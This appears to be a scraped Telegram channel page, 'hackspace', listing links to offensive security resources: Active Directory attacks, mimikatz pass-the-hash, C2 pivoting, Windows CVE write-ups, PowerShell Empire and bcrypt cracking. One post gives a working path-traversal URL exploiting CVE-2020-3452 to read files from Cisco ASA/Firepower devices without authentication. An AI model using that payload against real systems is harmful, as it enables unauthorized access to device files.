NEW BOT Телеграм, страница

hackspace

Top 16 Active Directory Vulnerabilities - InfosecMatter
https://www.infosecmatter.com/top-16-active-directory-vulnerabilities/

InfosecMatter

Top 16 Active Directory Vulnerabilities - InfosecMatter

Practical steps on how to pentest Active Directory environments using a list of most common AD vulnerabilities. Tools and command examples for testing and exploitation of AD vulnerabilities.

53 views19:02

hackspace

AD Attack

1) Performing domain recon using PS
https://t.co/Pt6VpJqGdO

2) Attack mapping with bloodhound
https://t.co/CpmB4XW3pq

3) Extracting passwd hashes
https://t.co/f55XUSyx1k

4) Pass-the-hash attacks with mimikatz
https://t.co/PPkBjPpVgK

Stealthbits Technologies

Performing Domain Reconnaissance Using PowerShell

In this post, we will cover a few of the different ways that PowerShell can be used by attackers to map out your environment and chose their targets.

58 views19:14

hackspace

HTTP(s) C2 Pivoting. Introduction | by Steve Borosh | Jul, 2020 | Medium
https://medium.com/@rvrsh3ll/offensive-internal-http-s-agent-pivoting-2e9b4b7e58d8

Medium

Offensive Internal HTTP(s) Agent Pivoting

Introduction

58 views23:16

hackspace

50 views05:41

hackspace

https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/

56 views14:30

hackspace

https://itm4n.github.io/cve-2020-1170-windows-defender-eop/

itm4n’s blog

CVE-2020-1170 - Microsoft Windows Defender Elevation of Privilege Vulnerability

Here is my writeup about CVE-2020-1170, an elevation of privilege bug in Windows Defender. Finding a vulnerability in a security-oriented product is quite satisfying. Though, there was nothing groundbreaking. It’s quite the opposite actually and I’m surprised…

57 views23:18

hackspace

GitHub - Q4n/CVE-2020-1362: writeup of CVE-2020-1362
https://github.com/Q4n/CVE-2020-1362

44 views03:27

hackspace

45 views07:07

hackspace

Releases · BC-SECURITY/Starkiller · GitHub
https://github.com/BC-SECURITY/Starkiller/releases

GitHub

Releases · BC-SECURITY/Starkiller

Starkiller is a Frontend for PowerShell Empire. Contribute to BC-SECURITY/Starkiller development by creating an account on GitHub.

52 views14:16

hackspace

GitHub - hlldz/dazzleUP: A tool that detects the privilege escalation vulnerabilities caused by misconfigurations and missing updates in the Windows operating systems.
https://github.com/hlldz/dazzleUP

GitHub

GitHub - hlldz/dazzleUP: A tool that detects the privilege escalation vulnerabilities caused by misconfigurations and missing updates…

A tool that detects the privilege escalation vulnerabilities caused by misconfigurations and missing updates in the Windows operating systems. - hlldz/dazzleUP

57 views22:31

hackspace

Here is POC of CVE-2020-3452, unauthenticated file read in Cisco ASA & Cisco Firepower.

For example to read "/+CSCOE+/portal_inc.lua" file.

https://<domain>/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../

Happy Hacking!

89 views09:31

hackspace

53 views12:14

hackspace

https://medium.com/@ScatteredSecrets/bcrypt-password-cracking-extremely-slow-not-if-you-are-using-hundreds-of-fpgas-7ae42e3272f6?s=09

Medium

Bcrypt password cracking extremely slow? Not if you are using hundreds of FPGAs!

Building custom FPGA-based hardware to crack bcrypt passwords.

138 views17:27

hackspace